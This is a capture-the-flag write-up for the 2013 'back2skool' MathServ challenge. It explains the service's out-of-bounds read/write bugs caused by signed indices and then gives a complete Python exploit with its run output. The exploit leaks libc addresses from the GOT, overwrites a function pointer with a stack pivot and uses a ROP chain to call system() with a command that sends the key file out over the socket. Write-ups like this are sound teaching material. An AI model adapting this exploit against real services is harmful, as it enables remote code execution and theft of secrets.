back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped
This is the binary for MathServ, “The one-stop shop for all your arithmetic needs”.
__ ___ __ __ _____
/ |/ /___ _/ /_/ /_ / ___/___ ______ __ v0.01
/ /|_/ / __ `/ __/ __ \\__ \/ _ \/ ___/ | / /
/ / / / /_/ / /_/ / / /__/ / __/ / | |/ /
/_/ /_/\__,_/\__/_/ /_/____/\___/_/ |___/
===============================================
Welcome to MathServ! The one-stop shop for all your arithmetic needs.
This program was written by a team of fresh CS graduates using only the most
agile of spiraling waterfall development methods, so rest assured there are
no bugs here!
Your current workspace is comprised of a 10-element table initialized as:
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }
Commands:
read Read value from given index in table
write Write value to given index in table
func1 Change operation to addition
func2 Change operation to multiplication
math Perform math operation on table
exit Quit and disconnect
read
Input position to read from:
1
Value at position 1: 1
write
Input position to write to:
1
Input numeric value to write:
10
Value at position 1: 10
func1
Setting mode to ADDITION
math
Result of math: 54
exit
Exiting program!
You can read and write numbers to an array and perform addition or multiplication of all the entries of the array.
Lets check how the “read” function works:
readUntil(sockfd, (int)&nptr, 0x13u, 10);
position = atoi(&nptr);
value = *(_DWORD *)&values[4 * position];
sock_printf(sockfd, "Value at position %d: %d\n", value);
There is 2 vulnerabilities here:
– There is no bound checking on the position value
– position can be signed, allowing to use a negative offset
Basically, you can read and write any memory, this will prove useful for information leak purpose.
Lets move to the “write” function:
position = atoi(&nptr);
if ( position <= 9 )
{
sendString(sockfd, (int)"Input numeric value to write:\n");
readUntil(sockfd, (int)&nptr, 0x13u, 10);
*(_DWORD *)&values[4 * position] = atoi(&nptr);
sock_printf(sockfd, "Value at position %d: %d\n", position);
}
else
{
sendString(sockfd, (int)"Table index too large!\n");
}
Almost the same story here except we have an inefficient bound checking:
– You can still enter negative number and the if() check will pass
– As position is signed and later multiplied by 4 (left shifted by 2 positions), we can get the sign bit to disappear
10000000000000000000000000000011 = -2147483645 = 0x80000003
<< 2
00000000000000000000000000001100 = 12 = 0xC
Now lets focus on the "math" command:
.text:080493AB mov edx, [eax]
.text:080493AD mov dword ptr [esp+4], 0Ah
.text:080493B5 mov eax, ds:(values_ptr - 804BF54h)[ebx]
.text:080493BB mov [esp], eax
.text:080493BE call edx
The function pointer stored in math_ptr is called directly. If we can overwrite the content of this math_ptr and replace it with an EIP we control, we will get remote code execution.
Some complications:
– The stack is NX
– The binary has been compiled with RELRO: read-only sections: .got, .dtors, etc…
– There is no interesting functions loaded in the GOT table for exploitation: no system, mmap, mprotected or execve
So our exploit workflow will be:
– Do information leak: get the address of libc’s __libc_start_main in the GOT table
– Overwrite the math_ptr with a stack pivot
– Fill the values array with a shell command line : cat key>&4
– Fill a user controled buffer with a small ROP chain to call system() with the values array as parameter
– Read key from socket
Our stack pivot:
.text:08049551 pop esi
.text:08049552 pop edi
.text:08049553 pop ebp
.text:08049554 retn
A last importance piece of the puzzle is the exact offset of the system() function in memory. Using a previous challenge shell, we found out that the challenge box is running Ubuntu Precise i386 with libc 2.15. We need this to get the offset of system() inside libc6.so. You can download this specific version from here for example: http://109.203.104.18/automate/instances/linuxmint/pbuilder/precise-i386/base.cow/lib/i386-linux-gnu/libc-2.15.so
Using the information leak, we got the address of __libc_start_main() in memory. If we have the distance (offset) between __libc_start_main() and system(), we can calculate the system() function’s address in memory.
Reading symbols from libc.so.6...(no debugging symbols found)...done.
gdb$ p system
$1 = {<text variable, no debug info>} 0x3d170 <system>
gdb$ p __libc_start_main
$2 = {<text variable, no debug info>} 0x193e0 <__libc_start_main>
The offset between __libc_start_main() and system() is 0x3d170 – 0x193e0 = 0x23D90
So in memory, the address of system() will be the address of __libc_start_main() + 0x23D90
And we know the __libc_start_main() address from the GOT table.
We got everything, so here is the exploit:
import telnetlib
from struct import pack, unpack
math_ptr = 0x0804BFEC
user_ptr = 0x080499B8
addr_values = 0x0804C040
got_table_start = 0x0804BF54
got_table_end = 0x0804BFFC
def read_memory(offset):
position = offset_to_position(offset)
tn.write("read\n")
tn.read_until("Input position to read from:")
tn.write(str(position) + "\n")
tn.read_until("Value at position ")
tn.read_until(": ")
value = long(tn.read_eager().strip())
return ctypes.c_ulong(value).value
def write_memory(offset, value):
position = offset_to_position(offset)
tn.write("write\n")
tn.read_until("Input position to write to:")
tn.write(str(position) + "\n")
tn.read_until("Input numeric value to write:")
tn.write(str(ctypes.c_long(value).value) + "\n")
tn.read_until("Value at position " )
tn.read_until( ": ")
value = int(tn.read_eager().strip())
return ctypes.c_ulong(value).value
def read_got_value(got, offset):
return read_memory(got[offset])
def overwrite_got_pointer(got, offset, value):
return write_memory(got[int(offset, 16)], value)
def offset_to_position(offset, adjust=False):
if offset < addr_values or adjust:
position = -((addr_values - offset) >> 2)
else:
position = 0x80000000 + ((offset - addr_values) >> 2)
return ctypes.c_long(position).value
HOST = 'back2skool.2013.ghostintheshellcode.com'
PORT = 31337
tn = telnetlib.Telnet(HOST, PORT)
tn.read_until("Quit and disconnect")
print "Dumping GOT..."
got = {}
ptr = {}
for offset in range(got_table_start, got_table_end+4, 4):
value = read_memory(offset)
hex_value = hex(value)
#print hex(offset),":", hex_value
got[offset] = value
print "Getting fd and __libc_start_main offset from GOT"
ptr['sockfd'] = read_got_value(got, 0x0804BFF4)
ptr['__libc_start_main'] = got[0x0804BF9C]
for value in ptr:
print value, '=', hex(ptr[value])
print "Computing system() addresss"
# Challenge box was Ubuntu Precise i386 with libc 2.15
# 32631f59185a4d6ecadffa9f0afc1d74 libc.so.6
system_ptr = ptr['__libc_start_main'] + (0x3d170 - 0x193e0) # __libc_start_main - system
print "system() is at", hex(system_ptr)
math = read_memory(math_ptr)
print "Math vfptr at " + hex(math)
print "Current math vfptr is", hex(read_memory(math))
print "Overwriting math vfptr with stack pivot"
write_memory(math, 0x08049550)
print "Current math vfptr is", hex(read_memory(math))
print "Filling values array with shell command"
# cat key>&4\n
write_memory(addr_values, 0x20746163)
write_memory(addr_values+4, 0x3e79656b)
write_memory(addr_values+8, 0x0a0a3426)
print "Putting ROP chain on the stack"
tn.write("read\n")
tn.read_until("Input position to read from:")
tn.write('ABCD' + pack('<I', system_ptr) + 'ABCD' + pack('<I', addr_values) + "\n")
tn.read_until("Value at position ")
tn.read_until(": ")
tn.read_eager()
print "Pwning!"
tn.write("math\n")
print "Reading key:"
print tn.read_all()
tn.write("exit\n")
Results:
Dumping GOT...
Getting fd and __libc_start_main offset from GOT
sockfd = 0x4L
__libc_start_main = 0xf76133e0L
Computing system() addresss
system() is at 0xf7637170L
Math vfptr at 0x804c078L
Current math vfptr is 0x0L
Overwriting math vfptr with stack pivot
Current math vfptr is 0x8049550L
Filling values array with shell command
Putting ROP chain on the stack
Pwning!
Reading key:
You couldn't own a box if you purchased it
Key is “You couldn’t own a box if you purchased it”